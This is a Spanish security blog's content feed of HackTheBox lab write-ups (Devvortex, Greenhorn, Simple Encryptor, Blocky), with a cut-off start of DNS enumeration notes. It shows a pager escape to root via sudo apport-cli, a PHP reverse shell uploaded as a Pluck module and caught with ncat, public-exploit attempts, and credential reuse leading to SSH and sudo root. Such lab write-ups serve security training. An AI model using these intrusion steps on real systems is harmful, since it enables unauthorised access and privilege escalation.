/usr/bin/apport-cli --file-bug *** What kind of problem do you want to report? Choices: 1: Display (X.org) 2: External or internal storage devices (e. g. USB sticks) 3: Security related problems 4: Sound/audio related problems 5: dist-upgrade 6: installation 7: installer 8: release-upgrade 9: ubuntu-release-upgrader 10: Other problem C: Cancel Please choose (1/2/3/4/5/6/7/8/9/10/C): 5 *** Collecting problem information The collected information can be sent to the developers to improve the application. This might take a few minutes. Una vez hecho el reporte:\n1 2 3 4 5 6 7 What would you like to do? Your options are: S: Send report (88.4 KB) V: View report K: Keep report file for sending later or copying to somewhere else I: Cancel and ignore future crashes of this program version C: Cancel Please choose (S/V/K/I/C): V Se abrirá el reporte con less como paginador, para el que pulsamos ! y escribimos /bin/bash, y finalmente tenemos root:\n1 root@devvortex:/home/logan# ","date":"9 de noviembre de 2025","externalUrl":null,"permalink":"/writeups/devvortex/","section":"Writeups","summary":"OS: Linux | Dificultad: Easy | Conceptos: Joomla, CVE Público, MySQL, Pager privesc.","title":"HackTheBox - Devvortex","type":"writeups"},{"content":"","date":"9 de noviembre de 2025","externalUrl":null,"permalink":"/tags/joomla/","section":"Tags","summary":"","title":"Joomla","type":"tags"},{"content":"","date":"9 de noviembre de 2025","externalUrl":null,"permalink":"/tags/pager-privesc/","section":"Tags","summary":"","title":"Pager Privesc","type":"tags"},{"content":"","date":"4 de noviembre de 2025","externalUrl":null,"permalink":"/tags/depix/","section":"Tags","summary":"","title":"Depix","type":"tags"},{"content":"","date":"4 de noviembre de 2025","externalUrl":null,"permalink":"/tags/gitea/","section":"Tags","summary":"","title":"Gitea","type":"tags"},{"content":" Dificultad: easy Tiempo aprox. ~4h Datos Iniciales: 10.10.11.25 Análisis Inicial # Iniciamos con un scan nmap:\n1 2 3 4 5 6 7 8 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 57:d6:92:8a:72:44:84:17:29:eb:5c:c9:63:6a:fe:fd (ECDSA) |_ 256 40:ea:17:b1:b6:c5:3f:42:56:67:4a:3c:ee:75:23:2f (ED25519) 80/tcp open http nginx 1.18.0 (Ubuntu) |_http-title: Did not follow redirect to http://greenhorn.htb/ |_http-server-header: nginx/1.18.0 (Ubuntu) 3000/tcp open http Golang net/http serverclear Añadimos greenhorn.htb a /etc/hosts. Tanto el puerto 80 como el 3000 parecen servicios http:\nPuerto 80 # Encontramos una página de presentación de Greenhorn.\nSe ve un botón admin Podemos ver que la página está mantenida con Pluck Al entrar a admin:\nEncontramos la versión de Pluck, 4.7.18, con 2 vulnerabilidades importantes: CVE-2023-50564: Permite subir archivos php como módulos a Pluck dentro de archivos .zip, lo que permite a cualquier atacante ejecutar código en el servidor. CVE-2024-43042: Pluck dispone de un sistema que bloquea al usuario tras varios intentos de sesión fallidos, pero intentar loguearse rápidamente produce una condición de carrera que hace que no se lleve la cuenta de tales intentos fallidos, permitiendo ataques por fuerza bruta. Puerto 3000 # Se trata de una página de Gitea. Tras iniciar sesión, en Explore, encontramos un repositorio de Greenhorn.\nTras buscar un rato, en /data/settings/pass.php encuentro el siguiente hash:\n1 2 3 \u0026lt;?php $ww = \u0026#39;d5443aef1b64544f3685bf112f6c405218c573c7279a831b1fe9612e3a4d770486743c5580556c0d838b51749de15530f87fb793afdcc689b6b39024d7790163\u0026#39;; ?\u0026gt; Que en Crackstation se descifra para:\n1 iloveyou1 Con esto iniciamos sesión en el panel de admin del puerto 80.\nTambién podríamos haber conseguido la contraseña por fuerza bruta debido al CVE-2024-43042, ya que iloveyou1 es una de las primeras contraseñas que se encuentran en rockyou.txt.\nPanel de administrador # Aquí, conociendo ya el CVE-2023-50564, vamos directos a options \u0026gt; manage modules \u0026gt; Install a module...\nSubimos un reverse shell con el nombre de a.php dentro de rev.zip como módulo, y accedemos a http://greenhorn.htb/data/modules/rev/a.php:\nDesde la terminal:\n1 2 3 4 5 6 7 8 9 $ ncat -lvn 10.10.14.20 4321 Ncat: Listening on 10.10.14.20:4321 ... Ncat: Connection from 10.10.11.25:60382. Linux greenhorn 5.15.0-113-generic #123-Ubuntu SMP Mon Jun 10 08:16:17 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux /bin/sh: 0: can\u0026#39;t access tty; job control turned off $ whoami www-data Acceso inicial # Tras un rato largo buscando formas de elevar privilegios (linpeas, cron, sudo, archivos con SUID bit\u0026hellip;) intento reutilizar la contraseña iloveyou1 para cambiar de usuario a junior:\n1 2 3 4 $ su junior Password: iloveyou1 $ whoami junior En el directorio de junior encontramos los siguientes archivos:\n1 2 3 $ ls user.txt Using OpenVAS.pdf Para poder trabajar mejor con Using OpenVAS.Pdf, lo paso a mi dispositivo convirtiéndolo a base 64:\n1 2 3 4 5 $ base64 Using* \u0026gt; b64 cat b64 JVBERi0xLjcKJfbk/N8KMSAwIG9iago8PAovVHlwZSAvQ2F0YWxvZw... # Ahora copio todo el contenido (JVBERi0... hasta el final) y lo pego en un archivo local En mi dispositivo:\n1 2 3 4 5 touch \u0026#39;Using OpenVAS.pdf\u0026#39; nano \u0026#39;Using OpenVAS.pdf\u0026#39; ... #Pego el contenido xdg-open \u0026#39;Using OpenVAS.pdf\u0026#39; Y ya tengo el contenido del PDF: Tras no haber encontrado nada que pudiese ser un posible vector de escalada de privilegios, intento usar este programa que permite eliminar el pixelado de imágenes dándole una imagen en la que basarse.\nUsamos esta imagen como texto pixelado: Tras probar con varias imágenes de muestra, una en específico da el resultado buscado:\n1 2 3 $ python3 depix.py -p ../image.H7K7E3.png -o ../output.png -s images/searchimages/debruinseq_notepad_Windows10_closeAndSpaced.png $ xdg-open ../output.png De aquí podemos ver que la contraseña es sidefromsidetheothersidesidefromsidetheotherside, probamos ssh a root:\n1 2 3 4 ssh root@greenhorn.htb root@greenhorn.htb\u0026#39;s password: ... root@greenhorn.htb:~# ","date":"4 de noviembre de 2025","externalUrl":null,"permalink":"/writeups/greenhorn/","section":"Writeups","summary":"OS: Linux | Dificultad: Easy | Conceptos: Pluck, Gitea, CVE, Depix","title":"HackTheBox - Greenhorn","type":"writeups"},{"content":"","date":"4 de noviembre de 2025","externalUrl":null,"permalink":"/tags/pluck/","section":"Tags","summary":"","title":"Pluck","type":"tags"},{"content":"","date":"19 de octubre de 2025","externalUrl":null,"permalink":"/tags/encryption/","section":"Tags","summary":"","title":"Encryption","type":"tags"},{"content":"CHALLENGE DESCRIPTION\nOn our regular checkups of our secret flag storage server we found out that we were hit by ransomware! The original flag data is nowhere to be found, but luckily we not only have the encrypted file but also the encryption program itself.\nArchivos iniciales:\nencrypt: ELF 64-bit. El programa de cifrado flag.enc: El Flag cifrado Análisis inicial # Usando el program strings podemos ver si hay datos detectados como strings dentro de cualquiera de los dos archivos:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 $ strings encrypt /lib64/ld-linux-x86-64.so.2 libc.so.6 srand #Generación del seed de nums aleatorios fopen #Abrir archivo en memoria ftell #Ver dirección del puntero del archivo time #Ver tiempo del sistema __stack_chk_fail #Por el nombre, se intuye que comprueba la integridad del stack fseek #Mover puntero del archivo a un punto específico fclose #Cerrar archivo malloc #Asignar memoria fwrite #Escribir en archivo fread #Leer archivo __cxa_finalize [...] $ Del archivo encrypt podemos ver varias funciones que pueden dar una primera imagen del funcionamiento del binario. Por otro lado, para flag.enc:\n1 2 $ strings flag.enc $ #No se encuentra ningún string, lo normal para un archivo cifrado. Al ejecutar el programa con strace (syscall trace) podemos ver las syscalls que realiza el programa en runtime:\n1 2 3 4 5 6 7 8 9 10 strace ./encrypt execve(\u0026#34;./encrypt\u0026#34;, [\u0026#34;./encrypt\u0026#34;], 0x7fff2fea2170 /* 68 vars */) = 0 brk(NULL) = 0x55f5d61ee000 ...[SNIP]... openat(AT_FDCWD, \u0026#34;flag\u0026#34;, O_RDONLY) = -1 ENOENT (No existe el fichero o el directorio) --- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x1} --- +++ killed by SIGSEGV (core dumped) +++ [1] 11282 segmentation fault (core dumped) strace ./encrypt Aquí podemos ver que, al ejecutar el programa, este busca un archivo flag en el mismo directorio, y al no encontrarlo, genera un segfault. De esto podemos imaginar que el funcionamiento del programa es tomar un archivo flag, cifrarlo, y generar un archivo flag.enc, como el que tenemos.\nDecompilando el binario # Abrimos el binario con ghidra y lo decompilamos, obteniendo el siguiente código:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 undefined8 main(void) { int iVar1; time_t tVar2; long in_FS_OFFSET; uint local_40; uint local_3c; long local_38; FILE *local_30; size_t local_28; void *local_20; FILE *local_18; long local_10; local_10 = *(long *)(in_FS_OFFSET + 0x28); local_30 = fopen(\u0026#34;flag\u0026#34;,\u0026#34;rb\u0026#34;); fseek(local_30,0,2); local_28 = ftell(local_30); fseek(local_30,0,0); local_20 = malloc(local_28); fread(local_20,local_28,1,local_30); fclose(local_30); tVar2 = time((time_t *)0x0); local_40 = (uint)tVar2; srand(local_40); for (local_38 = 0; local_38 \u0026lt; (long)local_28; local_38 = local_38 + 1) { iVar1 = rand(); *(byte *)((long)local_20 + local_38) = *(byte *)((long)local_20 + local_38) ^ (byte)iVar1; local_3c = rand(); local_3c = local_3c \u0026amp; 7; *(byte *)((long)local_20 + local_38) = *(byte *)((long)local_20 + local_38) \u0026lt;\u0026lt; (sbyte)local_3c | *(byte *)((long)local_20 + local_38) \u0026gt;\u0026gt; 8 - (sbyte)local_3c; } local_18 = fopen(\u0026#34;flag.enc\u0026#34;,\u0026#34;wb\u0026#34;); fwrite(\u0026amp;local_40,1,4,local_18); fwrite(local_20,1,local_28,local_18); fclose(local_18); if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return 0; } Los nombres de funciones y variables se pierden al compilar el binario, así que habrá que ir viendo qué función cumple cada variable y asignarle un nombre identificativo.\nStack Canary # En primer lugar, vemos que a la variable local_10 se le asigna el valor que haya en la dirección en memoria in_FS_OFFSET + 0x28:\n1 local_10 = *(long *)(in_FS_OFFSET + 0x28); Y luego, al final del código, se comprueba si su valor sigue igual:\n1 2 3 4 if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } Si por un stack overflow, el valor de local_10 se ha sobreescrito, este ya no coincidirá con el valor almacenado en (in_FS_OFFSET + 0x28), la comprobación dará true y se llamará a __stack_chk_fail().\nCon esto, podremos cambiarle el nombre a local_10 a algo como stackcanary.\n1 2 stackcanary = *(long *)(in_FS_OFFSET + 0x28); ... Primeros archivos abiertos y asignación de memoria. # Tras asignar el valor al canary, se abre un archivo flag y se guarda su puntero en local_30, a la que llamaremos flagSOURCE. Después, se mueve el puntero al final del archivo en memoria flag y se comprueba la ubicación del puntero. Esto es una técnica usada para conocer el tamaño del archivo, cuyo valor luego se guarda en local_28, al que llamaremos tamañoFLAG.\n1 2 3 4 local_30 = fopen(\u0026#34;flag\u0026#34;,\u0026#34;rb\u0026#34;); //local_30 = flagSOURCE fseek(local_30,0,2); //Se mueve el puntero al final (2 = SEEK_END) local_28 = ftell(local_30); //Se guarda la ubicación del puntero en local_28 o tamañoFLAG fseek(local_30,0,0); //Se vuelve al inicio del archivo Después vemos que se asigna una cantidad en memoria equivalente al tamaño del flag, se copia todo el archivo flag a memoria y se cierra el file descriptor de flagSOURCE.\n1 2 3 local_20 = malloc(tamañoFLAG); //Asignación de memoria de tamaño de tamañoFLAG. fread(local_20,tamañoFLAG,1,flagSOURCE); //Se copia todo el flag a local_20 fclose(flagSOURCE);//Se cierra flagSOURCE Podemos intuir que la copia de flagSOURCE a local_20 se ha hecho con la idea de cifrar este archivo en memoria y luego guardarlo en el ya conocido flag.enc.\nDado que el programa va a trabajar con el archivo en local_20, podemos llamar a esta variable, p.ej, Workspace.\nAleatorización # Tras copiar el flag original, vemos que se realiza lo siguiente: Se guarda en tVar2 el tiempo del sistema en el momento de ejecución, como entero con signo (int), el formato default que devuelve la función time(). Luego, se cambia a entero sin signo (uint) y se guarda en local_40.\n1 2 tVar2 = time((time_t *)0x0); //le llamaremos tiempoDelSistemaINT local_40 = (uint)tVar2; //le llamaremos tiempoDelSistemaUINT Después se inicializa una semilla basada en tiempoDelSistemaUINT para la generación de números aleatorios:\n1 srand(tiempoDelSistemaUINT); Modificación del archivo # Aquí empieza un bucle, con la variable a iterar siendo local_38:\n1 for (local_38 = 0; local_38 \u0026lt; (long)tamañoFLAG; local_38 = local_38 + 1){...} Para más claridad, le cambiamos el nombre a uno común, i:\n1 for (i = 0; i \u0026lt; (long)tamañoFLAG; i = i + 1){...} Y aquí podemos entender que lo que va a hacerse es iterar sobre cada byte individual del archivo (recordar que tamañoFLAG es el tamaño del archivo en bytes.) y modificarlo.\nEl bucle, simplificado para más claridad (quitando castings como (long)):\n1 2 3 4 5 6 7 8 9 for (i = 0; i \u0026lt; tamañoFLAG; i = i + 1) { iVar1 = rand(); *(byte *)(Workspace + i) = *(byte *)(Workspace + i) ^ (byte)iVar1; local_3c = rand(); local_3c = local_3c \u0026amp; 7; *(byte *)(Workspace + i) = *(byte *)(Workspace + i) \u0026lt;\u0026lt; local_3c | *(byte *)(Workspace + i) \u0026gt;\u0026gt; 8 - local_3c; } Aquí vemos que:\niVar1 es un número aleatorio dado por rand(), por lo que le llamaremos random local_3c es un número aleatorio, del que luego se hace Bitwise AND con 7 (binario 111), por lo que su valor estará entre 0 y 7, así que le llamaremos entre0y7. Así queda que: 1 2 3 4 5 6 7 8 9 for (i = 0; i \u0026lt; tamañoFLAG; i = i + 1) { random = rand(); *(byte *)(Workspace + i) = *(byte *)(Workspace + i) ^ (byte)random; entre0y7 = rand(); entre0y7 = local_3c \u0026amp; 7; *(byte *)(Workspace + i) = *(byte *)(Workspace + i) \u0026lt;\u0026lt; entre0y7 | *(byte *)(Workspace + i) \u0026gt;\u0026gt; 8 - entre0y7; } *(byte *) significa que se está trabajando con bytes individuales, sin importar el tipo de cada dato individual dentro del propio archivo (char, int, uint, etc.), todo se trata como bytes sin más. Tras dejar esto claro y para centrarnos solo en la estructura, omitimos los *(byte *):\n1 2 3 4 5 6 7 for (i = 0; i \u0026lt; tamañoFLAG; i++) { random = rand(); (Workspace + i) = (Workspace + i) ^ random; //XOR de random y el byte entre0y7 = rand(); entre0y7 = local_3c \u0026amp; 7; //Ahora entre0y7 está entre 0b000 y 0b111 (Workspace + i) = ((Workspace + i) \u0026lt;\u0026lt; entre0y7) | ((Workspace + i) \u0026gt;\u0026gt; (8 - entre0y7)); } Por cada byte vemos que:\nSe hace un Bitwise XOR (^) del byte específico y random. El byte se convierte en el resultado de una operación OR entre: El byte desplazado a la izquierda entre0y7 bits (los bits que salen fuera del byte se pierden) El byte desplazado a la derecha (8-entre0y7) bits, es decir, el byte que contiene a los bits antes perdidos al desplazar a la izquierda entre0y7 bits Escritura en archivo cifrado # Tras iterar sobre todo el archivo, se abre local_18, al que llamaremos flagENCRYPTED, que corresponde al archivo flag.enc en modo write, y se escribe sobre él:\nLos primeros 4 bytes de tiempoDelSistemaUINT, que, al tener UINT 4 bytes, es toda la variable. Todo el Workspace, es decir, el archivo cifrado Y se cierra flagENCRYPTED 1 2 3 4 flagENCRYPTED = fopen(\u0026#34;flag.enc\u0026#34;,\u0026#34;wb\u0026#34;); fwrite(\u0026amp;tiempoDelSistemaUINT,1,4,flagENCRYPTED); fwrite(Workspace,1,tamañoFLAG,flagENCRYPTED); fclose(flagENCRYPTED); Y así, finalmente, se tiene el archivo cifrado.\nAhora, conociendo el algoritmo de cifrado, hay que hacer un programa encargado de descifrarlo.\nDescifrado # El objetivo de nuestro programa de descifrado es tomar los primeros 4 bytes del archivo cifrado, que corresponden a tiempoDelSistemaUINT, e inicializar el seed con esa variable. Luego, por cada byte de flag cifrado (ignorando los 4 primeros del seed):\nLlamar a rand() y guardar su resultado en un byte para el XOR (Pues el valor de random para el XOR es resultado de la primera llamada a rand() al cifrar, y si los cambiamos de orden se descifrará mal.) Llamar a rand() para sacar entre0y7, con la segunda llamada y el Bitwise AND 7. Después, tendremos que modificar el byte cifrado siguiendo el camino inverso: Rotar a la derecha entre0y7 bytes, sin perderlos (como al cifrar). Hacer el XOR con random Y finalmente copiar ese byte específico al byte del resultado final. En C, el código sería algo así (convendría hacer comprobaciones tras abrir archivos con fopen):\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 #include \u0026lt;stdio.h\u0026gt; #include \u0026lt;stdlib.h\u0026gt; #include \u0026lt;stdint.h\u0026gt; //Rota \u0026#34;byte\u0026#34; a la derecha el nº de bits \u0026#34;bits\u0026#34;, pasando los bits que se perderían al otro lado //Aquí rotamos a la derecha para invertir la rotación a la izquierda hecha por el algoritmo de cifrado uint8_t rotarDCHAsinperder(uint8_t byte, unsigned bits){ bits \u0026amp;= 7; if (bits == 0) return byte; return (uint8_t)((byte \u0026gt;\u0026gt; bits) | (byte \u0026lt;\u0026lt; (8 - bits))); } int main(void){ printf(\u0026#34;Descifrando flag.enc...\\n\u0026#34;); unsigned seed; //Declarar seed FILE *encrypted = fopen(\u0026#34;flag.enc\u0026#34;, \u0026#34;rb\u0026#34;); //Abrir flag.enc a encrypted FILE *output = fopen(\u0026#34;flag\u0026#34;, \u0026#34;wb\u0026#34;); //Abrir lo que será el flag descifrado fread(\u0026amp;seed, 4, 1, encrypted); //Copiar a seed el seed guardado en el archivo srand(seed); int i; while((i = fgetc(encrypted)) != EOF){ //fgetc(encrypted) lee el siguiente byte y se lo asigna a \u0026#34;i\u0026#34;, luego se comparan \u0026#34;i\u0026#34; y \u0026#34;EOF\u0026#34; uint8_t byteCifrado = (uint8_t)i; uint8_t byteRandomXOR = (uint8_t)rand(); //primera llamada a rand() para el XOR uint8_t entre0y7 = ((uint8_t)rand()) \u0026amp; 7; //Segunda llamada a rand() para entre0y7 uint8_t afterRot = rotarDCHAsinperder(byteCifrado, entre0y7); uint8_t byteOriginal = afterRot ^ byteRandomXOR; //El inverso del XOR es él mismo, así que repetimos el XOR Para obtener el original fputc(byteOriginal, output); } fclose(encrypted); fclose(output); return 0; } Y al ejecutarlo en el mismo directorio que flag.enc:\n1 2 3 4 $ ./decrypt Descifrando flag.enc... $ cat flag HTB{vRy_s1MplE_F1LE3nCryp0r} ","date":"19 de octubre de 2025","externalUrl":null,"permalink":"/writeups/simpleencryptor/","section":"Writeups","summary":"Dificultad: Easy | Conceptos: Reversing, Ghidra, Cifrado, XOR, Rotaciones","title":"HackTheBox - Simple Encryptor","type":"writeups"},{"content":" Dificultad: easy Tiempo aprox. ~1h Datos Iniciales: 10.10.10.37 Nmap Scan # Tras realizar un escaneo nmap completo, se encuentran los siguientes puertos abiertos:\n1 2 3 4 5 6 7 8 9 10 11 PORT STATE SERVICE VERSION 21/tcp open ftp ProFTPD 1.3.5a 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 d6:2b:99:b4:d5:e7:53:ce:2b:fc:b5:d7:9d:79:fb:a2 (RSA) | 256 5d:7f:38:95:70:c9:be:ac:67:a0:1e:86:e7:97:84:03 (ECDSA) |_ 256 09:d5:c2:04:95:1a:90:ef:87:56:25:97:df:83:70:67 (ED25519) 80/tcp open http Apache httpd 2.4.18 |_http-title: Did not follow redirect to [http://blocky.htb](http://blocky.htb) |_http-server-header: Apache/2.4.18 (Ubuntu) 25565/tcp open minecraft Minecraft 1.11.2 (Protocol: 127, Message: A Minecraft Server, Users: 0/20) Puertos abiertos:\n21/TCP (FTP) Un anonymous login puede funcionar, conviene probarlo. Por otro lado, puede ser que la versión ProFTPD 1.3.5a tenga alguna vulnerabilidad. 22/TCP (SSH): Lo común en máquinas HTB. 80/TCP (HTTP): Se menciona algo sobre blocky.htb 25565/TCP (Minecraft): Un servidor de Minecraft 1.11.2, para mirar más adelante. Análisis Inicial # FTP # En primer lugar pruebo a conectarme como anonymous:\n1 2 3 4 5 6 ftp anonymous@10.10.10.37 Connected to 10.10.10.37. 220 ProFTPD 1.3.5a Server (Debian) [::ffff:10.10.10.37] 331 Password required for anonymous Password: [ENTER] 530 Login incorrect. Como se ve, el login anónimo no está disponible. Habrá que seguir mirando.\nNota: Por qué ha fallado? Porque el login anónimo probablemente esté desactivado en los ajustes del servidor de ProFTPD. ProFTPD no permite accesos anónimos por defecto.\nTras buscar la versión ProFTPD 1.3.5a, se ve que puede tener una potencial vulnerabilidad (CVE-2015-3306), para la que hay exploit publicados, probamos con uno de ellos.\n1 2 3 4 5 6 ./exploit.py --host blocky.htb --port 21 --path \u0026#34;/var/www/html\u0026#34; [+] CVE-2015-3306 exploit by t0kx [+] Exploiting blocky.htb:21 [!] Failed #Tras probar varias veces, sigue fallando. Nota: Por qué ha fallado? Como dice el propio readme del exploit, éste hace uso del módulo de ProFTPD mod_copy, un módulo que permite copiar archivos y directorios directamente en el servidor sin tener que descargarlos al cliente y volverlos a subir. Es probable que, simplemente, este módulo estuviese deshabilitado en este caso, y por eso no se haye podido explotar la vulnerabilidad.\nHTTP # Tras copiar a /etc/hosts una nueva resolución DNS para blocky.htb:\n1 echo \u0026#39;10.10.10.37 blocky.htb\u0026#39; | sudo tee -a /etc/hosts entro en la página web.\nAhí puede verse una única publicación del usuario notch \u0026ldquo;We are currently developing a wiki system for the server and a core plugin to track player stats and stuff. Lots of great stuff planned for the future\u0026rdquo;\nDe aquí son revelantes dos cosas:\nUn sistema wiki, del que quizás podemos sacar info. Un plugin para guardar estadísticas de usuarios, de donde sí podría sacarse info relevante. (nombres de usuario, etc.) Tras esto trato de hacer fuzzing de directorios con gobuster:\n1 2 3 4 5 6 7 8 /wiki (Status: 301) [Size: 307] [--\u0026gt; [http://blocky.htb/wiki/](http://blocky.htb/wiki/)] /wp-content (Status: 301) [Size: 313] [--\u0026gt; [http://blocky.htb/wp-content/](http://blocky.htb/wp-content/)] /plugins (Status: 301) [Size: 310] [--\u0026gt; [http://blocky.htb/plugins/](http://blocky.htb/plugins/)] /wp-includes (Status: 301) [Size: 314] [--\u0026gt; [http://blocky.htb/wp-includes/](http://blocky.htb/wp-includes/)] /javascript (Status: 301) [Size: 313] [--\u0026gt; [http://blocky.htb/javascript/](http://blocky.htb/javascript/)] /wp-admin (Status: 301) [Size: 311] [--\u0026gt; [http://blocky.htb/wp-admin/](http://blocky.htb/wp-admin/)] /phpmyadmin (Status: 301) [Size: 313] [--\u0026gt; [http://blocky.htb/phpmyadmin/](http://blocky.htb/phpmyadmin/)] /server-status (Status: 403) [Size: 298] Pruebo a entrar a la Wiki (http://blocky.htb/wiki/): \u0026ldquo;Under Construction Please check back later! We will start publishing wiki articles after we have finished the main server plugin! The new core plugin will store your playtime and other information in our database, so you can see your own stats!\u0026rdquo;\nAquí descubrimos info sobre una base de datos, y sobre que quizás el plugin es más relevante todavía. Entramos en plugins:\n1 2 3 Name\tLast modified\tSize\tDescription BlockyCore.jar 2017-07-02 10:12 883 griefprevention-1.11.2-3.1.1.298.jar 2017-07-02 18:32 520K\tEncontramos\ngriefprevention-1.11.2-3.1.1.298.jar: Un plugin de moderación automático. BlockyCore.jar: El plugin en el que al parecer se está trabajando Análisis de Plugins # Archivos .jar # Esto no es relevante para la resolución, pero en su momento no sabía qué era un archivo .jar, así que aquí una explicación.\nLos archivos .jar (Java ARchive) son un formato de empaquetado basado en ZIP diseñado para juntar múltiples archivos relacionados con Java en un único comprimido.\nLos .jar son completamente independientes de plataforma. Una vez creado, un .jar puede ejecutarse en cualquier SO que tenga una JVM compatible. Una JVM (Java VM) es una máquina virtual que actúa como un entorno de ejecución capaz de interpretar y ejecutar instrucciones en bytecode Java (archivos .class). El bytecode es un código de medio nivel generado cuando se compila un archivo .java. No es código nativo de ninguna plataforma (Correspondiente a alguna arquitectura de CPU o sistema operativo) específica, sino un código intermedio que solo la JVM entiende. Este bytecode se almacena en archivos .class que luego la JVM interpreta y ejecuta. En resumen:\n.jar = ZIPs que almacenan archivos relacionados con java JVM = Máquina virtual de java que ejecuta archivos en bytecode .java = Archivos de código fuente en java .class = Archivos, compilados en bytecode desde .java, que la JVM ejecuta. Blockycore.jar # Tras abrir el .jar para ver su interior, encontramos un archivo BlockyCore.class, que podemos decompilar usando la herramienta CFR:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 /* * Decompiled with CFR 0.152. */ package com.myfirstplugin; public class BlockyCore { public String sqlHost = \u0026#34;localhost\u0026#34;; public String sqlUser = \u0026#34;root\u0026#34;; public String sqlPass = \u0026#34;********\u0026#34;; //Contraseña oculta public void onServerStart() { } public void onServerStop() { } public void onPlayerJoin() { this.sendMessage(\u0026#34;TODO get username\u0026#34;, \u0026#34;Welcome to the BlockyCraft!!!!!!!\u0026#34;); } public void sendMessage(String username, String message) { } } Y usando la contraseña encontrada entramos a FTP:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 ftp notch@10.10.10.37 Connected to 10.10.10.37. 220 ProFTPD 1.3.5a Server (Debian) [::ffff:10.10.10.37] 331 Password required for notch Password: ******** 230 User notch logged in Remote system type is UNIX. Using binary mode to transfer files. ftp\u0026gt; ls 229 Entering Extended Passive Mode (|||25044|) 150 Opening ASCII mode data connection for file list drwxrwxr-x 7 notch notch 4096 Jul 3 2017 minecraft -r-------- 1 notch notch 33 Oct 16 10:05 user.txt 226 Transfer complete ftp\u0026gt; Aquí encontramos ya el flag de usuario user.txt.\nEn el directorio minecraft encontramos todo lo relacionado con el servidor: IPs baneadas, whitelist, configs, registros\u0026hellip;\nEn un directorio más profundo, de Nuvotifier (que resulta ser un plugin para votaciones), encuentro un archivo config.yaml que muestra un listener en localhost:8192 y un token, que podría ser un vector de escalada. Encuentro también varias claves para Nuvotifier, public.key y private.key\u0026hellip; Login inicial y escalada de privilegios. # Tras un rato mirando el directorio de FTP y tras haber probado a iniciar sesión con las claves de Nuvotifier por ssh, sigo sin encontrar una contraseña válida, hasta que pruebo a reutilizar la anterior (del .class decompilado).\n1 2 3 4 5 6 7 8 9 ssh notch@10.10.10.37 The authenticity of host \u0026#39;10.10.10.37 (10.10.10.37)\u0026#39; can\u0026#39;t be established. ED25519 key fingerprint is SHA256:... Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Failed to add the host to the list of known hosts (/home/kali/.ssh/known_hosts). notch@10.10.10.37\u0026#39;s password: Welcome to Ubuntu 16.04.2 LTS (GNU/Linux 4.4.0-62-generic x86_64) notch@Blocky:~$ Y probamos a ver qué permisos de sudo tiene el usuario notch:\n1 2 3 4 5 6 7 8 notch@Blocky:~$ sudo -l [sudo] password for notch: Matching Defaults entries for notch on Blocky: env_reset, mail_badpass, secure_path=/usr/local/sbin\\:/usr/local/bin\\:/usr/sbin\\:/usr/bin\\:/sbin\\:/bin\\:/snap/bin User notch may run the following commands on Blocky: (ALL : ALL) ALL Desde aquí vemos que tenemos permisos sudo completos:\n1 2 User notch may run the following commands on Blocky: (ALL : ALL) ALL Así que simplemente usamos sudo para ser root:\n1 2 notch@Blocky:~$ sudo -s root@Blocky:~# Y lo tenemos.\n","date":"16 de octubre de 2025","externalUrl":null,"permalink":"/writeups/blocky/","section":"Writeups","summary":"OS: Linux | Dificultad: Easy | Conceptos: Minecraft, Mods, Java, Wordpress, Usuario en sudoers","title":"HackTheBox - Blocky","type":"writeups"},{"content":"","date":"16 de octubre de 2025","externalUrl":null,"permalink":"/tags/wordpress/","section":"Tags","summary":"","title":"Wordpress","type":"tags"},{"content":"","externalUrl":null,"permalink":"/authors/","section":"Authors","summary":"","title":"Authors","type":"authors"},{"content":" Domain Name System # Resumen # El protocolo DNS es un sistema distribuido que traduce nombres de dominio (p.ej google.com) a direcciones IP (142.250.201.14).\nPor defecto, el protocolo DNS no tiene cifrado, por lo que suelen usarse DoT (DNS over TLS) y DoH (DNS over HTTPS)\nPuertos UDP/53, TCP/53. UDP/53 -\u0026gt; Usado por defecto por el protocolo para resoluciones DNS, más rápido que TCP. TCP/53 -\u0026gt; Si el tamaño de los mensajes excede los 512 bytes (el máximo de un datagrama UDP), se usará TCP en lugar de UDP. Tipos de registros # Los registros DNS son archivos de texto que dan info sobre un host o dominio (como IPs actuales y otros datos), hay varios tipos:\nA: El más común, mapea un nombre de dominio a una IPv4 AAAA: Mapea un nombre de dominio a una IPv6 CNAME: Sirve como alias, para cuando un dominio o subdominio es un alias de otro dominio. (Siempre apunta a otro dominio, no a IPs) MX: Apunta a nombres de servidores de correo de un dominio TXT: Info en texto relacionada con dominios y subdominios. NS: Apunta a los servidores DNS que proporcionan los registros DNS para el dominio específico. SOA: Almacena info sobre la zona DNS, como detalles sobre el servidor primario y la administración. Enumeración # Enumeración Activa # Con dig podemos realizar consultas DNS a nuestros objetivos para conseguir una imagen general de la infraestructura:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 dig ns google.com ; \u0026lt;\u0026lt;\u0026gt;\u0026gt; DiG 9.18.41 \u0026lt;\u0026lt;\u0026gt;\u0026gt; ns google.com ...[SNIP]... ;; ANSWER SECTION: google.com.\t7191\tIN\tNS\tns4.google.com. google.com.\t7191\tIN\tNS\tns2.google.com. google.com.\t7191\tIN\tNS\tns1.google.com. google.com.\t7191\tIN\tNS\tns3.google.com. ;; Query time: 0 msec ;; SERVER: 127.0.0.53#53(127.0.0.53) (UDP) ;; WHEN: Sat Nov 00 00:00:00 CET 2025 ;; MSG SIZE rcvd: 111 Esto da bastante información, podemos usar +short para filtrar solo 